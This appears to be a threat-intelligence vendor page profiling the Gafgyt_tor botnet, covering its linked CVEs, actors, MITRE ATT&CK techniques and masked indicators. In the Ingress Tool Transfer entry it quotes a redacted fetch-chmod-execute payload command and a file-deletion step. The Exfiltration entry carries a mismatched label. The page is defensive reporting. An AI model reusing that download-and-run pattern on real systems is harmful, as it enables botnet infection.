Skip to main content
Mallory
Malware2 associated actors2 associated CVEs

Gafgyt_tor

Tracked since Aug 26, 2026 · Updated 3 months ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns2Associated
Actors2Associated
ATT&CK13Techniques
IOCs217Tracked
Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Associated CVEs

Associated vulnerabilities

2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2021-3129via netlab 360Exploited in the wildUnauthenticated Remote Code Execution in Laravel Ignition Debug ModeNecro scans for and propagates through Laravel RCE (CVE-2021-3129); its exploit establishes a reverse shell that downloads a Bash script, Necro, Gafgyt_tor, and a mining program.View vulnerability →Source ↗
CVE-2019-16920via netlab 360Exploited in the wildUnauthenticated command injection in D-Link PingTestThe Gafgyt_tor botnet is mainly propagated through Telnet weak passwords and three vulnerabilities, including D-Link RCE (CVE-2019-16920). | Since February 15, 2021, 360Netlab's BotMon system has continuously detected a new variant of the Gafgyt family, which uses Tor for C2 communication to hide the real C2 and encrypts sensitive strings in the samples. ... we named the variant Gafgyt_tor.View vulnerability →Source ↗
Threat actors

Associated threat actors

2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
Keksec

The EnemyBot appears to be a follow-up of Gafgyt_tor, retaining the technique of hosting its C2 server in the Tor network.

via cyfirma blogcyfirma.com
keksec group

Since February 15, 2021, 360Netlab's BotMon system has continuously detected a new variant of the Gafgyt family, which uses Tor for C2 communication to hide the real C2 and encrypts sensitive strings in the samples. ... we named the variant Gafgyt_tor.

via netlab 360blog.netlab.360.com
MITRE ATT&CK

Techniques & procedures

13 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

1 technique
T1190Exploit Public-Facing ApplicationEvidence1

“Gafgyt_tor botnet is mainly propagated through Telnet weak passwords and the following three vulnerabilities,” followed by D-Link RCE (CVE-2019-16920) and exploit requests targeting Liferay and Citrix NetScaler endpoints.

Execution

1 technique
T1059.004Unix ShellEvidence2

The Laravel exploit uses a reverse shell to first download a bash script. The WebLogic Linux exploit uses bash, which downloads and executes both Necro (setup.py) and the mining program.

Stealth

3 techniques
T1027Obfuscated Files or InformationEvidence1

“In the sample captured on February 24 we found that the function name was obfuscated as a random string,” indicating efforts to strengthen anti-analysis and detection evasion.

T1027.013Encrypted/Encoded FileEvidence1

“Gafgyt_tor integrates a replacement encryption algorithm for encrypting C2 and sensitive strings to counter detection and static analysis.”

T1070.004File DeletionEvidence1

Payload commands conclude with “rm -rf .kpin”.

Defense Impairment

1 technique
T1222.002Linux and Mac PermissionsEvidence1

The payload download commands contain “chmod 777 ./kpin” before executing the downloaded file.

Credential Access

1 technique
T1110.001Password GuessingEvidence1

“Gafgyt_tor botnet is mainly propagated through Telnet weak passwords.”

Discovery

1 technique
T1046Network Service DiscoveryEvidence1

“The core function is still DDoS attacks and scanning”; samples contain scan functions named “ak47Scan” and “ak47telscan.”

Command and Control

2 techniques
T1090.003Multi-hop ProxyEvidence2

Necro supports Tor for C2; its code includes multiple Tor proxy IP addresses and an onion-service C2 address.

T1105Ingress Tool TransferEvidence2

The exploit payload executes “busybox wget http://.../bins/... || wget http://... -O .kpin; chmod 777 ./kpin; ./kpin”. The LDSERVER command allows C2 to specify and dynamically switch the download server.

Exfiltration

1 technique
T1030Data Transfer Size LimitsEvidence1

T1030: Proxy: 003: Multi-hop Proxy

Impact

2 techniques
T1498Network Denial of ServiceEvidence1

Necro integrates a Tor proxy-based DDoS attack method, torflood; other JavaScript commands issue repeated POST requests, image loads, and iframe loads to DDoS targets.

T1498.001Direct Network FloodEvidence1

The core function is “DDoS attack,” and decrypted commands include UDP, TCP, HOLD, JUNK, TLS, STD, DNS, OVH, BLACKNURSE, plus SYN, RST, FIN, ACK, and PSH attack-related strings.

Indicators of compromise

Observables

217 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching217Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors2Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities2CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping13Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.